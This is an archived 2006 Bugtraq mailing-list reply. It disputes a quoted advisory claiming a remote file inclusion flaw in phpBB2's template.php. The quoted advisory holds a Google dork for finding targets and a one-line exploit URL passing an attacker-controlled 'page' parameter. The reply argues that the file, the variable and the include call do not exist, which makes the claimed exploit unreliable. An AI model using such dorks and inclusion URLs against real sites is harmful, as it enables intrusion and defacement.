bugtraq - RE: phpBB2 (template.php) Remote File Inclusion

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Sun, 04 Jun 2006 22:08:42 +0000
From: "Scrouaf _" <scrouaf@...mail.com>
To: bugtraq@...urityfocus.com
Subject: RE: phpBB2 (template.php) Remote File Inclusion


Sounds like a fake to me....
1: template.php is in the /inludes/ subdir
2: it uses no variable $page
3: it does not use the inlude() function at all

What was your aim ? lauching a massive script kiddy attack that wouldn't 
work ?

                       Scrouaf
                     Desert Warrior and Anargeek


>From: canberx@...uxmail.org
>To: bugtraq@...urityfocus.com
>Subject: phpBB2 (template.php) Remote File Inclusion
>Date: 3 Jun 2006 10:47:22 -0000
>MIME-Version: 1.0
>Received: from outgoing.securityfocus.com ([205.206.231.27]) by 
>bay0-mc3-f9.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.1830); Sun, 4 
>Jun 2006 14:39:48 -0700
>Received: from outgoing.securityfocus.com by outgoing.securityfocus.com     
>      via smtpd (for bay0-mc3-f.bay0.hotmail.com [65.54.244.72]) with 
>ESMTP; Sun, 4 Jun 2006 14:33:09 -0700
>Received: from lists2.securityfocus.com (lists2.securityfocus.com 
>[205.206.231.20])by outgoing3.securityfocus.com (Postfix) with QMQPid 
>65C202388ED; Sun,  4 Jun 2006 13:04:49 -0600 (MDT)
>Received: (qmail 7295 invoked from network); 3 Jun 2006 10:42:06 -0000
>X-Message-Info: LsUYwwHHNt3GZT6E/6tgNQFelM9zTRGWXiSqkWrZQMA=
>Mailing-List: contact bugtraq-help@...urityfocus.com; run by ezmlm
>Precedence: bulk
>List-Id: <bugtraq.list-id.securityfocus.com>
>List-Post: <mailto:bugtraq@...urityfocus.com>
>List-Help: <mailto:bugtraq-help@...urityfocus.com>
>List-Unsubscribe: <mailto:bugtraq-unsubscribe@...urityfocus.com>
>List-Subscribe: <mailto:bugtraq-subscribe@...urityfocus.com>
>Delivered-To: mailing list bugtraq@...urityfocus.com
>Delivered-To: moderator for bugtraq@...urityfocus.com
>X-Mailer: MIME-tools 5.411 (Entity 5.404)
>Return-Path: bugtraq-return-25664-scrouaf=hotmail.com@...urityfocus.com
>X-OriginalArrivalTime: 04 Jun 2006 21:39:48.0437 (UTC) 
>FILETIME=[6741D850:01C6881F]
>
>********************************************************************
>*Title:
>*phpBB2 Remote File Include
>*
>*
>*Credit:
>*Canberx
>*
>*
>*Thanx:
>*Forewer-Partizan
>*
>*
>*Mail:
>*canberx@...uxmail.org    www.canberx.tk
>*
>*
>*Google Dork:
>*Powered by phpBB © 2001, 2002 phpBB Group
>*
>*
>*Exploit:
>*www.target.com/[path_to_phpbb]/template.php?page=[attacker]
>*
>*
>*********************************************************************
>
>Plz Don't Hacked site if it already has been defaced :)
>
>*********************************************************************